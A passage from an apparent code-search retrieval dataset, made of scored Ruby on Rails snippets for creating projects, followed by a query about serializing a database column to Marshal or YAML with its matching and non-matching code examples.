}, { "docid": "fffab1d63dd52e8b1d3eca95d68801a1", "score": "0.762161", "text": "def create\n @urlroot = Designax::Application.config.urlroot\n if params[:pk] == \"new\" and params[:name] == \"project_name\"\n project_name = params[:value]\n @project = Project.new()\n @project.project_name = project_name\n else\n @project = Project.new(params[:project])\n end\n\n respond_to do |format|\n if @project.save\n redirect_url = @urlroot + \"/projects\"\n response_url = { \"url\" => redirect_url }\n format.json { render json: response_url, status: 200 }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "39141b39b44d4ee41f9b041354a73c00", "score": "0.76077306", "text": "def new_project\n @request = Request.new(data_type: :project)\n @request.build_contact\n @request.build_project\n @request.build_general_information\n\n render 'new'\n end", "title": "" }, { "docid": "ffbc1bc6893e21a47cca07708538e55e", "score": "0.7606007", "text": "def new\n\n @project = Project.new\n @main_projects = Project.roots.where(creator_id: current_user.id)\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end", "title": "" }, { "docid": "32654869b9e4d48e2aaae22113cc7974", "score": "0.7601009", "text": "def new\n @project = @client.projects.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render xml: @project }\n end\n end", "title": "" }, { "docid": "04d2fbcea700e063f9f4fb2648381efc", "score": "0.75846344", "text": "def new\n propose_nr = Integer(Project.order(\"nr desc\").first.nr) + 1\n @project = Project.new(:nr => propose_nr, :active => true)\n @project.tasks.new(:name => \"Project Mgmt\", :description => \"\")\n @project.tasks.new(:name => \"Pre-P\", :description => \"Moodboards | Examining project data, plans, briefing, etc.\")\n @project.tasks.new(:name => \"Web\", :description => \"Flatfinder/Boligvelger (eve-Estate) | CMS/Website (eve-Publisher) | Landingpage\")\n @project.tasks.new(:name => \"Undividable 3D work for exteriors\", :description => \"Modeling/texturing of buildings and their surroundings. Populating/detailing with plants, outdoor furniture, traffic, etc.\")\n @project.tasks.new(:name => \"Undividable 3D work for interiors\", :description => \"Modeling/texturing of X apartments. Setting up furniture, accessories, decoration according to moodboards.\")\n @project.tasks.new(:name => \"#{propose_nr}-01_e\", :description => \"Scene setup, lighting and detail adjustments, rendering with subsequent post-production/compositing.\")\n @project.tasks.order(:name)\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end", "title": "" }, { "docid": "97143c3ca2520f3dc4427d4de1854e0b", "score": "0.7553428", "text": "def new\n @project = Project.new :company_id => params[:company_id]\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end", "title": "" }, { "docid": "8e39356d232aa9dcc081eb8996a02691", "score": "0.75448066", "text": "def new\n authenticate_user!\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project }\n end\n end", "title": "" }, { "docid": "6f2be1f332e5076e7bf07dd5f34d2719", "score": "0.75324243", "text": "def new\n \t@pagenav = Page.find_all_by_published('true')\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end", "title": "" }, { "docid": "d359ffb4640b9ba49d035d378873375b", "score": "0.75233364", "text": "def new\n @workspaces = current_user.workspaces\n @project = Project.new\n @workspace = Workspace.find(params[:workspace_id])\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end", "title": "" }, { "docid": "764c11757c83ff34d0b10843fa65ee70", "score": "0.7512757", "text": "def project_new\n new_project.click\n end", "title": "" }, { "docid": "fef6f042e379a6861a2153d875d717aa", "score": "0.75078624", "text": "def new\n if signed_in?\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n else \n redirect_to \"/\"\n end\n end", "title": "" }, { "docid": "2274a374f024d69b33eeb9bb3d31ef08", "score": "0.75038064", "text": "def new\n @campaign = Campaign.find(params[:campaign_id])\n @project = @campaign.projects.new(params[:project])\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end", "title": "" }, { "docid": "dd90c49154341f76bb4c62a5f09f42b5", "score": "0.7477614", "text": "def new\n @project = Project.find(params[:project_id])\n @project_entry = ProjectEntry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project_entry }\n end\n end", "title": "" }, { "docid": "4bea9bef3f0077ae0e4878af1c4b29bb", "score": "0.7475438", "text": "def new\n @project = Project.new\n \n respond_to do |format|\n format.html # new.html.erb\n end\n end", "title": "" }, { "docid": "32dd0f2715bb9b7e75f84350959fec35", "score": "0.74604577", "text": "def new\n @projects_person = ProjectsPerson.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @projects_person }\n end\n end", "title": "" }, { "docid": "bb04f0b6f2f328eab163446904b03fb6", "score": "0.7457296", "text": "def new\n @new_project = Project.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @new_project }\n end\n end", "title": "" }, { "docid": "5dafbdb30025e347d0cba89e56e6544c", "score": "0.7444062", "text": "def new\n # Agrega el breadcrumb de la pagina new de proyecto\n add_breadcrumb I18n.t('project.new'), :controller => \"projects\", :action => \"new\"\n @project = Project.new\n end", "title": "" }, { "docid": "790396cc1c2b0cf613d9501043ffd510", "score": "0.7440744", "text": "def new\n session[:return_to] ||= request.referer\n @project = Project.new\n @project.user_id = current_user.id\n\n # we use list of projects and contexts on the view, need to prepare them\n @projects = Project.all_active_projects(params[:context_id],current_user.id )\n @contexts = Context.where(\"user_id = ?\",current_user.id)\n\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end", "title": "" }, { "docid": "ae999b0be1f770aa8757da73a19f8bc9", "score": "0.74339885", "text": "def new\n @project_template = ProjectTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project_template }\n end\n end", "title": "" }, { "docid": "0669e6a41ef41f36d618f930c5ea27e8", "score": "0.74325484", "text": "def new\n @unfinished_project = UnfinishedProject.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @unfinished_project }\n end\n end", "title": "" }, { "docid": "3987b362caed851c61fc0c13c211f4a8", "score": "0.7419886", "text": "def create\n @project = Project.new(params[:project])\n\n respond_to do |format|\n if @project.save\n format.json { render :json => @project, :status => :created, :location => @project }\n format.html { redirect_to(projects_path) }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @project.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "173590b75f53f76cbf0c41a56dfdb23e", "score": "0.7407778", "text": "def new\n @project =\n if params[:project]\n Project.where(name: params[:project][:name]).first || Project.new(project_params)\n else\n Project.new\n end\n\n respond_to do |format|\n format.html {\n redirect_to edit_embed_project_url(@project) if @project.persisted?\n }\n format.json { render json: @project }\n end\n end", "title": "" }, { "docid": "44badae4d67749d7e71ba7dee8848095", "score": "0.7401665", "text": "def new\n @file_project = FileProject.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @file_project }\n end\n end", "title": "" }, { "docid": "b0494bad33db3d47e28f1aff472a5fd8", "score": "0.7365981", "text": "def new\n redirect_to project_path id: new_project_from_hash('transient' => true,\n 'name' => 'Untitled Project',\n 'default_workspace' => {\n 'name' => 'Untitled Workspace'\n }).id\n end", "title": "" }, { "docid": "4a2abcc9c9b86556991d0e9840a9f4e5", "score": "0.73623353", "text": "def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.js\n format.json { render json: @project }\n end\n end", "title": "" }, { "docid": "f15cde7cb68bf6502694fbf39a0c0412", "score": "0.7357849", "text": "def new\n @project_detail = ProjectDetail.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project_detail }\n end\n end", "title": "" }, { "docid": "f25eba1207c2d4fbf1dad1b2a4f4f87c", "score": "0.7350418", "text": "def new\n @project = @projectable.projects.new\n @users = User.without_user(current_user)\n # @project.memberships.build\n\n respond_to do |format|\n format.html { render layout: 'form' }# new.html.erb\n format.json { render json: @project }\n end\n end", "title": "" }, { "docid": "87f6533d00e98d57046b8fe1d8302eea", "score": "0.7342267", "text": "def new\n project = current_project\n\n # TODO: replace with project.dup ?\n @project = duplicate_project(project)\n respond_to do |format|\n if is_admin?\n format.html # new.html.erb\n format.xml { render xml: @project }\n else\n format.html { redirect_to projects_path }\n format.xml { render xml: @project.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5db96f291ba12011478f3c698c3fd52f", "score": "0.7336478", "text": "def new\n @project = Project.new\n #@project.build_ci\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end", "title": "" }, { "docid": "fffef68ef0a39d18b7dfd786160759a8", "score": "0.7329798", "text": "def create\n @project = Project.new(params[:project])\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to admin_projects_url, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "09aeba121a4b174d424af9bf54ea24e9", "score": "0.7324879", "text": "def new\n @project = Project.new\n @project.tasks.build\n @categories = Category.parents_only\n\n respond_to do |format|\n format.html # new.html.erb\n format.json {\n \trender :json => {\n \t :projects => @proejcts,\n \t :categories => @categories\n \t}\n }\n end\n end", "title": "" }, { "docid": "405f971fe23d69237297c0ac81a5e34f", "score": "0.7324174", "text": "def create\n @projects = current_user.projects\n @project = current_user.projects.new(project_params)\n\n respond_to do |format|\n if @projects << @project\n format.html { redirect_to user_projects_path(current_user), notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0dfa1e90af4e227d3bd0f3981813e917", "score": "0.73134446", "text": "def new\n @environment = @project.environments.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @environment }\n end\n end", "title": "" }, { "docid": "d4982651b2ae8b720c478903f3b9147b", "score": "0.73030025", "text": "def new\n @project = Project.create\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project }\n end\n end", "title": "" }, { "docid": "86e79e1d89d18b768cf7c6e4d04a7834", "score": "0.7291696", "text": "def new\n\t\t@project = Project.new({:project_state_type_id => ProjectStateType.find_by_code('preparation').id})\n\t\tputs @project.inspect\n\t\tmake_breadcrumbs\n\t\t\n\t\trespond_to do |format|\n\t\t\tformat.html # new.html.erb\n\t\t\tformat.json { render json: @project }\n\t\tend\n\tend", "title": "" }, { "docid": "13388bc888c2dc5dd6a69754079a1706", "score": "0.7282156", "text": "def create\n @project = current_user.projects.new(params[:project])\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "756c2ad7874c4673ea43576bbe7f85da", "score": "0.7276433", "text": "def new\n @project = Project.new(:user_id => current_user[:id])\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project }\n end\n end", "title": "" }, { "docid": "de8d4ceca320708dae965749fc6b2e71", "score": "0.7270792", "text": "def ajaxnew\n @project = Project.new\n\n respond_to do |format|\n format.html { render :layout => false } # new.html.erb\n format.json { render json: @project }\n end\n end", "title": "" }, { "docid": "fb6f8bce728e0e23f6c88050f2976bda", "score": "0.72645044", "text": "def new\n @user = User.find( params[:user_id] )\n @project = Project.new( :title => \"New Project\" )\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project }\n end\n end", "title": "" }, { "docid": "fcb61f3f17d0d978cb55377e3e5f3e72", "score": "0.72429514", "text": "def new\n @project = Project.find(params[:project_id])\n @task = @project.tasks.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @task }\n end\n end", "title": "" }, { "docid": "46f0fd28dca5a87cc38a0d5979b48626", "score": "0.7240559", "text": "def new\n @assigned_project = AssignedProject.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @assigned_project }\n end\n end", "title": "" }, { "docid": "f719b7397393c8c24dc72f27c491f2b7", "score": "0.72290784", "text": "def create\n\t\t@project = current_user.projects.new(project_params)\n\n\t\trespond_to do |format|\n\t\t\tif @project.save\n\t\t\t\tformat.json { render :show, status: :created }\n\t\t\telse\n\t\t\t\tformat.json { render json: @project.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "123d88cd88d76290dec74babd939bb51", "score": "0.7221265", "text": "def new\n @past_project = PastProject.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @past_project }\n end\n end", "title": "" }, { "docid": "07ba3a42b617b5c9dc1228ab1672ec4b", "score": "0.72148454", "text": "def new\n add_breadcrumb \"Nouveau\"\n @project = Project.new\n end", "title": "" }, { "docid": "1f63abd440379dc68663185cf1556b77", "score": "0.7210334", "text": "def new\n @client = Client.find(params[:client_id])\n @project = @client.projects.build\n \n respond_with(@project)\n end", "title": "" }, { "docid": "150b31d0ceebd673b81343315561286c", "score": "0.7199163", "text": "def new\n @task = Task.new(:project_id => params[:id])\n\t\t@projects = Project.sorted\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @task }\n end\n end", "title": "" }, { "docid": "6f55ed8d6bc0b9df5707b8b20996ac6a", "score": "0.7198389", "text": "def new\n @project = Project.new script: \"bundle install\\r\\nbundle exec rake db:setup RAILS_ENV=test\"\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end", "title": "" }, { "docid": "1c38fb8a3c9bdd3a43e6824840e60923", "score": "0.7197388", "text": "def new\n @project = Project.new\n end", "title": "" }, { "docid": "1c38fb8a3c9bdd3a43e6824840e60923", "score": "0.7197388", "text": "def new\n @project = Project.new\n end", "title": "" }, { "docid": "1c38fb8a3c9bdd3a43e6824840e60923", "score": "0.7197388", "text": "def new\n @project = Project.new\n end", "title": "" }, { "docid": "1c38fb8a3c9bdd3a43e6824840e60923", "score": "0.7197388", "text": "def new\n @project = Project.new\n end", "title": "" }, { "docid": "1c38fb8a3c9bdd3a43e6824840e60923", "score": "0.7197388", "text": "def new\n @project = Project.new\n end", "title": "" }, { "docid": "1c38fb8a3c9bdd3a43e6824840e60923", "score": "0.7197388", "text": "def new\n @project = Project.new\n end", "title": "" }, { "docid": "1c38fb8a3c9bdd3a43e6824840e60923", "score": "0.7197388", "text": "def new\n @project = Project.new\n end", "title": "" }, { "docid": "1c38fb8a3c9bdd3a43e6824840e60923", "score": "0.7197388", "text": "def new\n @project = Project.new\n end", "title": "" }, { "docid": "1c38fb8a3c9bdd3a43e6824840e60923", "score": "0.7197388", "text": "def new\n @project = Project.new\n end", "title": "" }, { "docid": "1c38fb8a3c9bdd3a43e6824840e60923", "score": "0.7197388", "text": "def new\n @project = Project.new\n end", "title": "" }, { "docid": "1c38fb8a3c9bdd3a43e6824840e60923", "score": "0.7197388", "text": "def new\n @project = Project.new\n end", "title": "" }, { "docid": "1c38fb8a3c9bdd3a43e6824840e60923", "score": "0.7197388", "text": "def new\n @project = Project.new\n end", "title": "" }, { "docid": "aad78ab40ffc8be59f17b00d2cdb9660", "score": "0.71927774", "text": "def create\n @project = Project.new(params[:project])\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to(@project, :notice => 'Project was successfully created.') }\n format.json { render :json => @project, :status => :created, :location => @project }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @project.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b892ac27649937b07cc48479f53c47af", "score": "0.7191574", "text": "def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project }\n end\n end", "title": "" }, { "docid": "b892ac27649937b07cc48479f53c47af", "score": "0.7191574", "text": "def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project }\n end\n end", "title": "" }, { "docid": "b892ac27649937b07cc48479f53c47af", "score": "0.7191574", "text": "def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project }\n end\n end", "title": "" } ]
ef23a74913c450f401890519cfd33a70
Serialize the column to either marshal or yaml format
[ { "docid": "dac168f26d9b5d44dea87db159d5220d", "score": "0.75357765", "text": "def serialize_value(column, v)\n return v if v.nil?\n case model.serialization_map[column] \n when :marshal\n [Marshal.dump(v)].pack('m')\n when :yaml\n v.to_yaml\n when :json\n JSON.generate v\n else\n raise Error, \"Bad serialization format (#{model.serialization_map[column].inspect}) for column #{column.inspect}\"\n end\n end", "title": "" } ]
[ { "docid": "44054992bade0e2d5c5c74bacdcff0e6", "score": "0.73319453", "text": "def serialize_column(data)\n activerecord_json_column? ? data : super\n end", "title": "" }, { "docid": "5f2715b729897a152149ada65d0604fd", "score": "0.62950325", "text": "def serialized_columns\n serialization_map.keys\n end", "title": "" }, { "docid": "a9ce828d074f6f2d14d5506491cf82ec", "score": "0.62724227", "text": "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_collection_of_object_values(\"columns\", @columns)\n writer.write_boolean_value(\"highlightFirstColumn\", @highlight_first_column)\n writer.write_boolean_value(\"highlightLastColumn\", @highlight_last_column)\n writer.write_string_value(\"legacyId\", @legacy_id)\n writer.write_string_value(\"name\", @name)\n writer.write_collection_of_object_values(\"rows\", @rows)\n writer.write_boolean_value(\"showBandedColumns\", @show_banded_columns)\n writer.write_boolean_value(\"showBandedRows\", @show_banded_rows)\n writer.write_boolean_value(\"showFilterButton\", @show_filter_button)\n writer.write_boolean_value(\"showHeaders\", @show_headers)\n writer.write_boolean_value(\"showTotals\", @show_totals)\n writer.write_object_value(\"sort\", @sort)\n writer.write_string_value(\"style\", @style)\n writer.write_object_value(\"worksheet\", @worksheet)\n end", "title": "" }, { "docid": "d609570abf607e901ae546fda594eccc", "score": "0.6235516", "text": "def marshal_dump\n @table\n end", "title": "" }, { "docid": "418faed633c0f2b0ea91a88e1d36a914", "score": "0.61942714", "text": "def serialize_value(column, v)\n unless v.nil?\n raise Sequel::Error, \"no entry in serialization_map for #{column.inspect}\" unless callable = model.serialization_map[column]\n callable.call(v)\n end\n end", "title": "" }, { "docid": "809aeae1a53d16cec8abe557a398f708", "score": "0.6128175", "text": "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n writer.write_string_value(\"columnId\", @column_id)\n writer.write_string_value(\"@odata.type\", @odata_type)\n writer.write_string_value(\"qualityId\", @quality_id)\n writer.write_additional_data(@additional_data)\n end", "title": "" }, { "docid": "0a1cdd341391540e17da34df23ef6709", "score": "0.61053604", "text": "def serialize_value\n # Returning nil will prevent the row from being saved, to save some time since the EavHash that manages this\n # entry will have marked it for deletion.\n raise \"Tried to save with a nil value!\" if @value.nil? or @value.is_a? NilPlaceholder\n\n update_value_type\n if value_type == SUPPORTED_TYPES[:Object]\n write_attribute :value, YAML::dump(@value)\n else\n write_attribute :value, @value.to_s\n end\n\n read_attribute :value\n end", "title": "" }, { "docid": "d0b009d329c49fbceafe0b6867317554", "score": "0.609273", "text": "def to_s\n column\n end", "title": "" }, { "docid": "aa547fdadd3f4ee8f24d3be8c68f5744", "score": "0.60456616", "text": "def dbrow_serialization\n dbrow = super[\"dbrow\"]\n dbrow[:xml] = self.xml\n dbrow.delete(:_xml_entity_created_by)\n dbrow.delete(:_xml_entity_created_at)\n dbrow.delete(:_xml_entity_modified_by)\n dbrow.delete(:_xml_entity_modified_at)\n\n {\n \"dbrow\" => dbrow\n }\n end", "title": "" }, { "docid": "c93ca15d0492a1aa4ffe26c84a54748b", "score": "0.6022308", "text": "def serialized_columns\n Sequel::Deprecation.deprecate(\"#{self}.serialized_columns in the serialization plugin\", \"Use #{self}.serialization_map.keys instead\")\n serialization_map.keys\n end", "title": "" }, { "docid": "845df1853f199d2f956274913f40d730", "score": "0.59904474", "text": "def encodeWithCoder(coder)\n columns.each do |attr|\n # Serialize attributes except the proxy has_many and belongs_to ones.\n unless [:belongs_to, :has_many].include? column(attr).type\n value = self.send(attr)\n unless value.nil?\n coder.encodeObject(value, forKey: attr.to_s)\n end\n end\n end\n end", "title": "" }, { "docid": "7e5728dfd8f784c95806270de631cf6d", "score": "0.5987722", "text": "def to_yaml\n @attributes.to_yaml\n end", "title": "" }, { "docid": "b2513a07b9110840b3b04b242e2be2a8", "score": "0.59747916", "text": "def to_yaml\n self.to_h.to_yaml\n end", "title": "" }, { "docid": "b2513a07b9110840b3b04b242e2be2a8", "score": "0.59747916", "text": "def to_yaml\n self.to_h.to_yaml\n end", "title": "" }, { "docid": "07c4b522d75e3fd61b19c1f77e85047d", "score": "0.5903336", "text": "def set_columns_changeable(value)\n self.write_attribute :columns_changeable, value.to_json\n end", "title": "" }, { "docid": "21822ab19a24842495b78b9f288d8108", "score": "0.5885785", "text": "def set_columns_changeable(value)\n write_attribute :columns_changeable, value.to_json\n end", "title": "" }, { "docid": "2daee5bb83c754a84e94833932d4dbd6", "score": "0.5876507", "text": "def to_yaml() end", "title": "" }, { "docid": "22df8312c176846ab3dafe0d7313bdb4", "score": "0.5863276", "text": "def record_to_column(record, json = false)\n\n return '' if record.nil? || (record.respond_to?(:each) && record.empty?)\n\n # :only and :except options can be used to limit the attributes included\n\n return record.to_json if json # packs associations into single column\n\n data = []\n\n if record.respond_to?(:each)\n return '' if record.empty?\n\n record.each { |r| data << record_to_column(r, json) }\n\n data.join(multi_assoc_delim).to_s\n else\n record.serializable_hash.each do |name, value|\n text = value.to_s.gsub(text_delim, escape_text_delim)\n data << \"#{name}:#{key_value_sep}#{text}\"\n end\n\n \"#{attribute_list_start}#{data.join(multi_value_delim)}#{attribute_list_end}\"\n end\n\n\n end", "title": "" }, { "docid": "899c85767712874c54fe98fc545a9eb9", "score": "0.5855026", "text": "def marshal_dump\n [@@col_map, @@location_columns, @row]\n end", "title": "" }, { "docid": "828fa1cc0d56bf8df0042305095bed5c", "score": "0.58425665", "text": "def serialize_attributes(format, *columns)\n raise(Error, \"Unsupported serialization format (#{format}), should be :marshal, :yaml, or :json\") unless [:marshal, :yaml, :json].include?(format)\n raise(Error, \"No columns given. The serialization plugin requires you specify which columns to serialize\") if columns.empty?\n define_serialized_attribute_accessor(format, *columns)\n end", "title": "" }, { "docid": "269342ccbac1527527b77d4939b4c149", "score": "0.5808843", "text": "def to_mongo_value\n h = {}\n self.class.column_names.each {|iv|\n val = read_attribute(iv)\n h[iv] = val == nil ? nil : val.to_mongo_value\n }\n h\n end", "title": "" }, { "docid": "bf0ee51d00908ad8c3bf2ed305e32411", "score": "0.5803401", "text": "def serialize(row)\n row\n .map { |c| db_format(c) }\n .join(\",\")\nend", "title": "" }, { "docid": "c03b01bad7570d021799c2ecc3123c33", "score": "0.5730494", "text": "def to_yaml\n self.to_h.deep_stringify_keys.compact.to_yaml\n end", "title": "" }, { "docid": "21e6fbf59740729e4d8c5edd3c30cd70", "score": "0.5716732", "text": "def marshal( options={} )\n xml = options[:builder]\n\n @table.each_pair do |key, value|\n if value.is_a?( Array )\n if value.empty?\n do_xml!( xml, key, nil )\n else\n value.each { |each_value| do_xml!( xml, key, each_value ) }\n end\n elsif value.is_a?(REXML::Element)\n xml << value.to_s\n else\n do_xml!( xml, key, value )\n end\n end\n end", "title": "" }, { "docid": "d60fa6e9b13c3e4ba5b798e0b288ec0c", "score": "0.57012755", "text": "def to_yaml\n to_h.to_yaml\n end", "title": "" }, { "docid": "ca21918429a516f5b256d6671271c176", "score": "0.56999546", "text": "def marshal_dump\n { \n :klass => self.class.to_s, \n :values => @attribute_values_flat, \n :joined => @joined_models\n }\n end", "title": "" }, { "docid": "6e12896a516f44f7242feb874b586488", "score": "0.56968915", "text": "def serialize\n YAML::dump(self)\n end", "title": "" }, { "docid": "0795eac2a3b746fc7fea6373714e1986", "score": "0.5692045", "text": "def serialize\n end", "title": "" }, { "docid": "21d185497ec38a663f279faff6363e22", "score": "0.56920004", "text": "def to_yaml\n # write yaml\n end", "title": "" }, { "docid": "ad39d9791019065d5798612feff3a078", "score": "0.5686062", "text": "def to_yaml\n to_hash.to_yaml\n end", "title": "" }, { "docid": "ac4c49137f2a876e60afef9cd96520d0", "score": "0.56661564", "text": "def serialize(writer) \n super\n writer.write_collection_of_primitive_values(\"categories\", @categories)\n writer.write_string_value(\"changeKey\", @change_key)\n writer.write_date_value(\"createdDateTime\", @created_date_time)\n writer.write_date_value(\"lastModifiedDateTime\", @last_modified_date_time)\n end", "title": "" }, { "docid": "267430a73d5d76ad390af050c5cba75b", "score": "0.5663803", "text": "def marshal\n Marshal.dump self\n end", "title": "" }, { "docid": "267430a73d5d76ad390af050c5cba75b", "score": "0.5663803", "text": "def marshal\n Marshal.dump self\n end", "title": "" }, { "docid": "267430a73d5d76ad390af050c5cba75b", "score": "0.5663803", "text": "def marshal\n Marshal.dump self\n end", "title": "" }, { "docid": "2cc5dc635ae65b2ed0be4d639a8b1765", "score": "0.5653434", "text": "def to_yaml\n\t\tYAML::dump self.to_hash\n\tend", "title": "" }, { "docid": "a126e681346630c4ec31fd99d7ebfee1", "score": "0.56287694", "text": "def serialize; end", "title": "" }, { "docid": "a126e681346630c4ec31fd99d7ebfee1", "score": "0.56287694", "text": "def serialize; end", "title": "" }, { "docid": "c4bb9a43d61dfa2ddf6cab4732b43443", "score": "0.5613481", "text": "def to_string(column, kv, maxlength = -1)\n if kv.isDelete\n val = \"timestamp=#{kv.getTimestamp}, type=#{org.apache.hadoop.hbase.KeyValue::Type::codeToType(kv.getType)}\"\n else\n val = \"timestamp=#{kv.getTimestamp}, value=#{org.apache.hadoop.hbase.util.Bytes::toStringBinary(kv.getValue)}\"\n end\n val\nend", "title": "" }, { "docid": "af7c3cf993c2472bbb2561d3e2df823f", "score": "0.5600373", "text": "def to_yaml\n as_yaml.to_yaml\n end", "title": "" }, { "docid": "daa3bf7d838d80ddb2943032a1e934d1", "score": "0.5598157", "text": "def requires_serialization_on_save?(model)\n maybe_flex_object = model._flex_column_object_for(column_name, false)\n out = true if maybe_flex_object && maybe_flex_object.deserialized?\n out ||= true if ((! column.null) && (! model[column_name]))\n out\n end", "title": "" }, { "docid": "7074b8b28c11ce422e0468a1f46804dc", "score": "0.5594897", "text": "def to_yaml\n to_h.to_yaml\n end", "title": "" }, { "docid": "d9c16d998dec749ec3e995dc815dffe8", "score": "0.5593526", "text": "def sequel_json_column?\n return false unless record.is_a?(::Sequel::Model)\n return false unless column = record.class.db_schema[data_attribute]\n\n [:json, :jsonb].include?(column[:type])\n end", "title": "" }, { "docid": "ef17b6f747f552c32c1f0e5dece245ef", "score": "0.5579703", "text": "def to_yaml\n to_hash.to_yaml\n end", "title": "" }, { "docid": "ef17b6f747f552c32c1f0e5dece245ef", "score": "0.5579703", "text": "def to_yaml\n to_hash.to_yaml\n end", "title": "" }, { "docid": "8cb537332c93bed31be3bbbfd86e8ab3", "score": "0.5572416", "text": "def to_dump\n opts = {column: self.column}.merge options_for_dump\n dump = \"add_foreign_key #{from_table.inspect}, #{to_table.inspect}, #{opts.to_s.sub(/^{(.*)}$/, '\\1')}\"\n end", "title": "" }, { "docid": "51fa6bab6712504e5a2c76e44fa4b6ab", "score": "0.556797", "text": "def prepare_column_options(column)\n super.tap do |spec|\n spec[:encoding] = \"'#{column.sql_type_metadata.encoding}'\" if column.sql_type_metadata.encoding.present?\n end\n end", "title": "" }, { "docid": "f4c14178aa645ae4fa01c6ee1bfb9172", "score": "0.55658525", "text": "def initialize(column_serializer: shrine_class.opts[:column][:serializer], **options)\n super(**options)\n @column_serializer = column_serializer\n end", "title": "" }, { "docid": "f4c14178aa645ae4fa01c6ee1bfb9172", "score": "0.55658525", "text": "def initialize(column_serializer: shrine_class.opts[:column][:serializer], **options)\n super(**options)\n @column_serializer = column_serializer\n end", "title": "" }, { "docid": "adb4d47bd2dfd108a11cb17c307e1f8a", "score": "0.55569977", "text": "def column_for_attribute(method)\n if method.to_s == \"value\" && [VTYPE_BOOLEAN,\n VTYPE_NUMBER,\n VTYPE_DATETIME].include?(self.vtype)\n dressed_like_column = OpenStruct.new(\n name: \"value\", type: nil, sql_type: nil, klass: nil,\n coder: nil, default: false, null: true, primary: false,\n limit: nil, precision: nil, scale: nil\n )\n case self.vtype\n when VTYPE_BOOLEAN\n dressed_like_column.type = :boolean\n dressed_like_column.sql_type = \"boolean\"\n dressed_like_column.klass = Object\n when VTYPE_NUMBER\n dressed_like_column.type = :decimal\n dressed_like_column.sql_type = \"numeric\"\n dressed_like_column.klass = BigDecimal\n when VTYPE_DATETIME\n dressed_like_column.type = :datetime\n dressed_like_column.sql_type = \"timestamp without time zone\"\n dressed_like_column.klass = Time\n end\n dressed_like_column\n else\n super(method)\n end\n end", "title": "" }, { "docid": "a53c0fe9b3ab050ba96491d963f00252", "score": "0.5551818", "text": "def serialize\n \n end", "title": "" }, { "docid": "55b3fa1681cf1f727c243772f73d1121", "score": "0.5537103", "text": "def activerecord_json_column?\n return false unless activerecord?\n return false unless column = record.class.columns_hash[attribute.to_s]\n\n [:json, :jsonb].include?(column.type)\n end", "title": "" }, { "docid": "72219a092cb8ac1323656d486e258fb9", "score": "0.5530018", "text": "def convert_after_read(value)\n sequel_json_column? ? value.to_hash : super\n end", "title": "" }, { "docid": "d461513cee2de297cb002154f85f5424", "score": "0.5529752", "text": "def to_yaml\n YAML::dump(self)\n end", "title": "" }, { "docid": "d461513cee2de297cb002154f85f5424", "score": "0.5529752", "text": "def to_yaml\n YAML::dump(self)\n end", "title": "" }, { "docid": "d461513cee2de297cb002154f85f5424", "score": "0.5529752", "text": "def to_yaml\n YAML::dump(self)\n end", "title": "" }, { "docid": 